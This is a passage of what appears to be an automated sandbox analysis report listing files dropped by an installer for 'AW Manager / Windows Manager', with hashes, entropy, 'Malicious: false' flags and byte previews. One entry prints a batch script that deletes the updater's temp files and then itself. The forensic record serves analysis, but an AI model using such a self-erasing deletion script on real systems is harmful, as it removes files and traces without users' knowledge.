Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......e.D!...!...!...(.V.C...5..."...5...&...5...)...!......5...:...5... ...5...R...5.:. ...5... ...Rich!...................PE..d...p............." .........D...............................................`M.....'.M...`A........................................@.H.L&....I......@K.H.....I..............@M.....`J:.p.......................(....%..............@.......$.H......................text...4B.......D.................. ..`.wpp_sf.....`.......H.............. ..`.rdata...L......N.................@..@.data...hD...PI......*I.............@....pdata........I......2I.............@..@.didat.......0K.......J.............@....rsrc...H....@K.......J.............@..@.reloc.......@M.. ....L.............@..B........................................................................................................................................................................

C:\Windows\Temp\shi80CC.tmp

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4509696
Entropy (8bit):	6.100941182830929
Encrypted:	false
SSDEEP:	49152:jm+XAVAMPLfOyim8iTRxYUOQSfLTZZZ2y38lb7Cjn3mboy4+MT7ujWx/Tl0ng48e:CzVAwiKTOpfLTDQyaNoy787ujWx/TlR
MD5:	F6153E803F1533042AC7E6988237C2C3
SHA1:	DDA81BB8BC8CC14877C9CB9B7C664DEFD81EBB4F
SHA-256:	F42A771D310C762C05A5BE3DE0CFDB9BEC28D3DFCCAEF800C901F551A0DF30ED
SHA-512:	7AE76A4CB58A9929C09B1D6376073268622C74B1E3F0C346AFA7A7829E2EF136CCF091F58CCA28BFE83C665573C23D9DB6AF51A44275DA0CC2CF8C1306ADDBAC
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........._.._.._..V.X.=..K..S..K..X..K..W.._.....K..^..K..-..K..D..K.4.^..K..^..Rich_..........................PE..L....+.X...........!.....dA.........P.3.......A....c.........................@E.......E...@A.........................i@.K&..L.A.......B.H.....................D..-......T....................O...... .................A.H....C@......................text.....@.......@................. ..`.wpp_sf.......@.......@............. ..`.data....6....A......hA.............@....idata...1....A..2...nA.............@..@.didat..4.....B.......A.............@....rsrc...H.....B.......A.............@..@.reloc...-....D.......C.............@..B........................................................................................................................................................................................................................

C:\Windows\Temp\shi8169.tmp

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	83128
Entropy (8bit):	6.654653670108596
Encrypted:	false
SSDEEP:	1536:0jIdYoF2CwmzOVStYMAuNWrmaTk++ouMOczT0ud4x41xmPS:0jRoFZwmr+bDk/MOcv0G4sxm
MD5:	125B0F6BF378358E4F9C837FF6682D94
SHA1:	8715BEB626E0F4BD79A14819CC0F90B81A2E58AD
SHA-256:	E99EAB3C75989B519F7F828373042701329ACBD8CEADF4F3FF390F346AC76193
SHA-512:	B63BB6BFDA70D42472868B5A1D3951CF9B2E00A7FADB08C1F599151A1801A19F5A75CFC3ACE94C952CFD284EB261C7D6F11BE0EBBCAA701B75036D3A6B442DB2
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......V.T...:...:...:.....&.:...9...:...;...:...;...:...:...:...4...:...?...:......:...>...:......:...8...:.Rich..:.................PE..L...Y.............!.........H.......n..............................................;.....@A........................P........B.......`............... ...$...p..........T............................................@...............................text.../........................... ..`.data....!..........................@....idata..H....@......................@..@.rsrc........`......................@..@.reloc.......p......................@..B........................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\shi97AF.tmp

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4509696
Entropy (8bit):	6.100941182830929
Encrypted:	false
SSDEEP:	49152:jm+XAVAMPLfOyim8iTRxYUOQSfLTZZZ2y38lb7Cjn3mboy4+MT7ujWx/Tl0ng48e:CzVAwiKTOpfLTDQyaNoy787ujWx/TlR
MD5:	F6153E803F1533042AC7E6988237C2C3
SHA1:	DDA81BB8BC8CC14877C9CB9B7C664DEFD81EBB4F
SHA-256:	F42A771D310C762C05A5BE3DE0CFDB9BEC28D3DFCCAEF800C901F551A0DF30ED
SHA-512:	7AE76A4CB58A9929C09B1D6376073268622C74B1E3F0C346AFA7A7829E2EF136CCF091F58CCA28BFE83C665573C23D9DB6AF51A44275DA0CC2CF8C1306ADDBAC
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........._.._.._..V.X.=..K..S..K..X..K..W.._.....K..^..K..-..K..D..K.4.^..K..^..Rich_..........................PE..L....+.X...........!.....dA.........P.3.......A....c.........................@E.......E...@A.........................i@.K&..L.A.......B.H.....................D..-......T....................O...... .................A.H....C@......................text.....@.......@................. ..`.wpp_sf.......@.......@............. ..`.data....6....A......hA.............@....idata...1....A..2...nA.............@..@.didat..4.....B.......A.............@....rsrc...H.....B.......A.............@..@.reloc...-....D.......C.............@..B........................................................................................................................................................................................................................

C:\Windows\Temp\shi982D.tmp

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	83128
Entropy (8bit):	6.654653670108596
Encrypted:	false
SSDEEP:	1536:0jIdYoF2CwmzOVStYMAuNWrmaTk++ouMOczT0ud4x41xmPS:0jRoFZwmr+bDk/MOcv0G4sxm
MD5:	125B0F6BF378358E4F9C837FF6682D94
SHA1:	8715BEB626E0F4BD79A14819CC0F90B81A2E58AD
SHA-256:	E99EAB3C75989B519F7F828373042701329ACBD8CEADF4F3FF390F346AC76193
SHA-512:	B63BB6BFDA70D42472868B5A1D3951CF9B2E00A7FADB08C1F599151A1801A19F5A75CFC3ACE94C952CFD284EB261C7D6F11BE0EBBCAA701B75036D3A6B442DB2
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......V.T...:...:...:.....&.:...9...:...;...:...;...:...:...:...4...:...?...:......:...>...:......:...8...:.Rich..:.................PE..L...Y.............!.........H.......n..............................................;.....@A........................P........B.......`............... ...$...p..........T............................................@...............................text.../........................... ..`.data....!..........................@....idata..H....@......................@..@.rsrc........`......................@..@.reloc.......p......................@..B........................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\shiADAA.tmp

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4509696
Entropy (8bit):	6.100941182830929
Encrypted:	false
SSDEEP:	49152:jm+XAVAMPLfOyim8iTRxYUOQSfLTZZZ2y38lb7Cjn3mboy4+MT7ujWx/Tl0ng48e:CzVAwiKTOpfLTDQyaNoy787ujWx/TlR
MD5:	F6153E803F1533042AC7E6988237C2C3
SHA1:	DDA81BB8BC8CC14877C9CB9B7C664DEFD81EBB4F
SHA-256:	F42A771D310C762C05A5BE3DE0CFDB9BEC28D3DFCCAEF800C901F551A0DF30ED
SHA-512:	7AE76A4CB58A9929C09B1D6376073268622C74B1E3F0C346AFA7A7829E2EF136CCF091F58CCA28BFE83C665573C23D9DB6AF51A44275DA0CC2CF8C1306ADDBAC
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........._.._.._..V.X.=..K..S..K..X..K..W.._.....K..^..K..-..K..D..K.4.^..K..^..Rich_..........................PE..L....+.X...........!.....dA.........P.3.......A....c.........................@E.......E...@A.........................i@.K&..L.A.......B.H.....................D..-......T....................O...... .................A.H....C@......................text.....@.......@................. ..`.wpp_sf.......@.......@............. ..`.data....6....A......hA.............@....idata...1....A..2...nA.............@..@.didat..4.....B.......A.............@....rsrc...H.....B.......A.............@..@.reloc...-....D.......C.............@..B........................................................................................................................................................................................................................

C:\Windows\Temp\shiAE96.tmp

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	83128
Entropy (8bit):	6.654653670108596
Encrypted:	false
SSDEEP:	1536:0jIdYoF2CwmzOVStYMAuNWrmaTk++ouMOczT0ud4x41xmPS:0jRoFZwmr+bDk/MOcv0G4sxm
MD5:	125B0F6BF378358E4F9C837FF6682D94
SHA1:	8715BEB626E0F4BD79A14819CC0F90B81A2E58AD
SHA-256:	E99EAB3C75989B519F7F828373042701329ACBD8CEADF4F3FF390F346AC76193
SHA-512:	B63BB6BFDA70D42472868B5A1D3951CF9B2E00A7FADB08C1F599151A1801A19F5A75CFC3ACE94C952CFD284EB261C7D6F11BE0EBBCAA701B75036D3A6B442DB2
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......V.T...:...:...:.....&.:...9...:...;...:...;...:...:...:...4...:...?...:......:...>...:......:...8...:.Rich..:.................PE..L...Y.............!.........H.......n..............................................;.....@A........................P........B.......`............... ...$...p..........T............................................@...............................text.../........................... ..`.data....!..........................@....idata..H....@......................@..@.rsrc........`......................@..@.reloc.......p......................@..B........................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\shiCD57.tmp

Download File

Process:	C:\ProgramData\AW Manager\Windows Manager\updates\v114\v114.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	5038592
Entropy (8bit):	6.043058205786219
Encrypted:	false
SSDEEP:	49152:vVkDvLSkqdbEsuV+ebMh8w+/H8pF/bmlEyGjWvcP1xQ+X7TqVAMPLfQyim8kznsY:2Ll+Mn0WHl9VA2ic/
MD5:	11F7419009AF2874C4B0E4505D185D79
SHA1:	451D8D0470CEDB268619BA1E7AE78ADAE0EBA692
SHA-256:	AC24CCE72F82C3EBBE9E7E9B80004163B9EED54D30467ECE6157EE4061BEAC95
SHA-512:	1EABBBFDF579A93BBB055B973AA3321FC8DC8DA1A36FDE2BA9A4D58E5751DC106A4A1BBC4AD1F425C082702D6FBB821AA1078BC5ADC6B2AD1B5CE12A68058805
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......e.D!...!...!...(.V.C...5..."...5...&...5...)...!......5...:...5... ...5...R...5.:. ...5... ...Rich!...................PE..d...p............." .........D...............................................`M.....'.M...`A........................................@.H.L&....I......@K.H.....I..............@M.....`J:.p.......................(....%..............@.......$.H......................text...4B.......D.................. ..`.wpp_sf.....`.......H.............. ..`.rdata...L......N.................@..@.data...hD...PI......*I.............@....pdata........I......2I.............@..@.didat.......0K.......J.............@....rsrc...H....@K.......J.............@..@.reloc.......@M.. ....L.............@..B........................................................................................................................................................................

C:\Windows\Temp\{FDBC5875-BBA4-4DA5-9048-A196A21FE49A}..bat

Download File

Process:	C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe
File Type:	DOS batch file, ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	577
Entropy (8bit):	5.203592632567303
Encrypted:	false
SSDEEP:	6:h9BRebN8cxjT4FvKBRebN8cxjT4GLRPRebN8cxjT493Ui1RebN8cxjT4/zmmRebW:OUpjIyIM+vpKTdwbUP
MD5:	B35B8352FA3F8DE71B90AD1A2FE8FC0E
SHA1:	6B103AA0F7620FB2A25A578D2E66F4CF9F35647B
SHA-256:	1CDD342FAAC0264037C64F01520EACB682F04E080719485633195FE5EE8903F8
SHA-512:	392EA4F5C03D9B12AB683B7871B9669EB16F644AAD7B60A48CE0E2C70F8FBD202046EFFC4FC1E1558BEA6C4A5480781B7042FEE73F3BDEDDD6B5AD2796ABBF80
Malicious:	false
Reputation:	unknown
Preview:	@echo off ..del "C:\Windows\TEMP\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.ini" ..del "C:\Windows\TEMP\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.dat" ..:again ..if not exist "C:\Windows\TEMP\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe" goto end ..if exist "C:\Windows\TEMP\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe" del "C:\Windows\TEMP\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe" ..goto again ..:end ..rmDir "C:\Windows\TEMP\ce2d31339cfff41b4b6db9e32e93218c" ..del "C:\Windows\TEMP\{FDBC5875-BBA4-4DA5-9048-A196A21FE49A}..bat" \| cls

C:\Windows\Temp\~DF04EC00CCA4350551.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Reputation:	unknown
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF097145D3ED1A2676.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	1.2999311711641872
Encrypted:	false
SSDEEP:	96:rmAnnTL8rfj1KdQwyfAOufHRCzIWyco2WGufrufnRCz6Tf:rVnnfCUAURFGYMZf
MD5:	FB40D2F70C3AA82A1B62E9DBDE00D897
SHA1:	8E5F405348B3F1B2FB0544117A84E4FD4086E88C
SHA-256:	03CA62A8E72D734A74959C4C38C1B3F5E44FC51A0F6DF39B1B5BA14ECF898886
SHA-512:	8ABEEE6965A4CD42C070CEC80190353CC30AC477A414D4FC3E4E68275F6A24FCB9EB2B2EA99D70B73FF36DA0460D95BA522F809028959EF12C4DCC04FFF2783B
Malicious:	false
Reputation:	unknown
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF0B7AB5F7609E40CA.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Reputation:	unknown
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF0ECB46AA4C558210.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	1.2398920906744926
Encrypted:	false
SSDEEP:	96:14/lTL8MacUdTfjfXfOacUVRCFQco2WGsfrOacUG:m/lfXa/OaHuQFG+Oa8
MD5:	44298A5B814CFE4510C6D7C30C9BE936
SHA1:	AA3067667CEE66161D626CFC580EA6A8E7EB8F47
SHA-256:	4C82CEBE5FD0432A99552B12E0435A75AA74B2ADBE481A0A9C8DA9B17D5D4A50
SHA-512:	47778DD000B637640D7D22ADD85FC9FFCFDDC917AFFA154272501957CEF132744E557363DB9F0FB769D685A330ED8AC74D4F4A7A348D44431A98523F35A8818A
Malicious:	false
Reputation:	unknown
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF129FC2036971629B.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	1.3001149953227347
Encrypted:	false
SSDEEP:	96:lpAlTL8e7acUF6CxfjfXfuf9fXiRCgeif8fvyf/co2WG8ifSfrufP:XAlfHaymnxeifJFG8ifsO
MD5:	A8F7670261CEB73F3C574A2DDA14039A
SHA1:	526589191B1FCF25821B9DB15D71B42067E104BC
SHA-256:	E8E3334529F344C7F462C5670A07892E71CF779B3D50216C6AA32429837426FE
SHA-512:	38004AC920A582EF91F2450BAE0607CE9C3536507EA610C23D6875E621247CD36CA525DB911458A4DB38813BB96A8A7BBA1895A2388D25EBBA0F614BE233DC14
Malicious:	false
Reputation:	unknown
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF15F7E81BD314FE2E.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Reputation:	unknown
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF2226DCA8A04FDD9A.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	1.3001149953227347
Encrypted:	false
SSDEEP:	96:lpAlTL8e7acUF6CxfjfXfuf9fXiRCgeif8fvyf/co2WG8ifSfrufP:XAlfHaymnxeifJFG8ifsO
MD5:	A8F7670261CEB73F3C574A2DDA14039A
SHA1:	526589191B1FCF25821B9DB15D71B42067E104BC
SHA-256:	E8E3334529F344C7F462C5670A07892E71CF779B3D50216C6AA32429837426FE
SHA-512:	38004AC920A582EF91F2450BAE0607CE9C3536507EA610C23D6875E621247CD36CA525DB911458A4DB38813BB96A8A7BBA1895A2388D25EBBA0F614BE233DC14
Malicious:	false
Reputation:	unknown
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF253F6B57727A6A5B.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	73728
Entropy (8bit):	0.3751662578342894
Encrypted:	false
SSDEEP:	96:UfVbfrufnRCzyfAOufHRCzIWyco2WGpwFfj1Kd:UfdMFURFGOh
MD5:	4EC4E4CC7AF9A8DB9218798238D7DD09
SHA1:	F5EF7CB9B3F7E9211444159E69FDAB0E1F4C2D6F
SHA-256:	EBAC48465348BACE309F309FE4D4F814F068028BB667F41B9A06F3A7ED365511
SHA-512:	39A183BCB20CFC4530B551451EFC5113432910A093F958CF012F399CF30841EBB7D5AF399B9309F3EBC7AC9EDF6AEAF87A1447459FD9723A236643FD1D057AEE
Malicious:	false
Reputation:	unknown
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF30925248B9EA375D.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	1.2308344708811163
Encrypted:	false
SSDEEP:	96:uhw1vFT7acUdTfjfXfOacUVRCFQco2WGsfrOacUG:b1Nna/OaHuQFG+Oa8
MD5:	E5D7F2F71EEE3707E7B84F028E8DAC63
SHA1:	2E43776AA1F80E5B68D68E8AF96811015BDEA68E
SHA-256:	7834795641C3EBBC341C1C91B4F7764ADCC202F887BB85C1E19845980E2C5B59
SHA-512:	84D309E7E0977E7591F58847D7DEAF195067289616B1BC08B19776BD50F8B9AE365CDBBD382A29626A832D2879193675C19E8655E768D33284F50ED90C6EC465
Malicious:	false
Reputation:	unknown
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF312D760CABF2E1A9.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	1.3001149953227347
Encrypted:	false
SSDEEP:	96:lpAlTL8e7acUF6CxfjfXfuf9fXiRCgeif8fvyf/co2WG8ifSfrufP:XAlfHaymnxeifJFG8ifsO
MD5:	A8F7670261CEB73F3C574A2DDA14039A
SHA1:	526589191B1FCF25821B9DB15D71B42067E104BC
SHA-256:	E8E3334529F344C7F462C5670A07892E71CF779B3D50216C6AA32429837426FE
SHA-512:	38004AC920A582EF91F2450BAE0607CE9C3536507EA610C23D6875E621247CD36CA525DB911458A4DB38813BB96A8A7BBA1895A2388D25EBBA0F614BE233DC14
Malicious:	false
Reputation:	unknown
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF36229A99655517E1.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Reputation:	unknown
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF380CDD5FA806F28C.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	1.2398920906744926
Encrypted:	false
SSDEEP:	96:14/lTL8MacUdTfjfXfOacUVRCFQco2WGsfrOacUG:m/lfXa/OaHuQFG+Oa8
MD5:	44298A5B814CFE4510C6D7C30C9BE936
SHA1:	AA3067667CEE66161D626CFC580EA6A8E7EB8F47
SHA-256:	4C82CEBE5FD0432A99552B12E0435A75AA74B2ADBE481A0A9C8DA9B17D5D4A50
SHA-512:	47778DD000B637640D7D22ADD85FC9FFCFDDC917AFFA154272501957CEF132744E557363DB9F0FB769D685A330ED8AC74D4F4A7A348D44431A98523F35A8818A
Malicious:	false
Reputation:	unknown
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF3A1592F3966416A3.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	1.3001149953227347
Encrypted:	false
SSDEEP:	96:lpAlTL8e7acUF6CxfjfXfuf9fXiRCgeif8fvyf/co2WG8ifSfrufP:XAlfHaymnxeifJFG8ifsO
MD5:	A8F7670261CEB73F3C574A2DDA14039A
SHA1:	526589191B1FCF25821B9DB15D71B42067E104BC
SHA-256:	E8E3334529F344C7F462C5670A07892E71CF779B3D50216C6AA32429837426FE
SHA-512:	38004AC920A582EF91F2450BAE0607CE9C3536507EA610C23D6875E621247CD36CA525DB911458A4DB38813BB96A8A7BBA1895A2388D25EBBA0F614BE233DC14
Malicious:	false
Reputation:	unknown
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF3F7EF5835C53B262.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Reputation:	unknown
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF438D423F068F29A4.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Reputation:	unknown
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF44FCF2DC4E8D38DB.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	1.3028384732530842
Encrypted:	false
SSDEEP:	96:8pKlTL8eoacUd1fjfnuf9fqRCgyCf2yf4co2WGQtIrfrufx:SKlfkaRPxyfFGQtIXw
MD5:	1F9FA0CFF524A54DE504606C9BA0D67D
SHA1:	5B709E49BAF1C54C68B16144B015D0AD8C835BD7
SHA-256:	5CC82E4230E484D6C0C19F35656CE025B70980A88C040B3C576ADF0675A6FA72
SHA-512:	A2678AFC904132C66F7D0B22339981581DAAFE42889FF9DDAB1E190799D1553F853B48169E77FF29E82E6EAA5850EEAD49A51CEBD19513168E2CD3B70372D490
Malicious:	false
Reputation:	unknown
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF5E2D77822527D23A.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	24576
Entropy (8bit):	1.9983273787278952
Encrypted:	false
SSDEEP:	96:3ho1pFTqfj1KdQwyfAOufHRCzIWyco2WGufrufnRCz6Tf:21DYUAURFGYMZf
MD5:	F2417D82EE320F7449076E4E4D1AB7A1
SHA1:	7B7B698EED14EE7D2AF4B6BE06E7BC25763CDE19
SHA-256:	6778831D5C206983C3AF891D0784CB7A28B48A4B214498307FCCACC433B2AA1E
SHA-512:	B6E7E58E4115A0F037A4D54654B0895BE6FEA20D6408A69980C4AB32EF5006201A62CF4C4F95FFA9D49BE7A66594175A94791205B424AA28BAFFBD0B90CA199F
Malicious:	false
Reputation:	unknown
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF5F35F59E4CEA830B.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Reputation:	unknown
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF68063912B60A7B9D.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Reputation:	unknown
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF6ABBAFDAC57411C0.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	24576
Entropy (8bit):	1.9983273787278952
Encrypted:	false
SSDEEP:	96:3ho1pFTqfj1KdQwyfAOufHRCzIWyco2WGufrufnRCz6Tf:21DYUAURFGYMZf
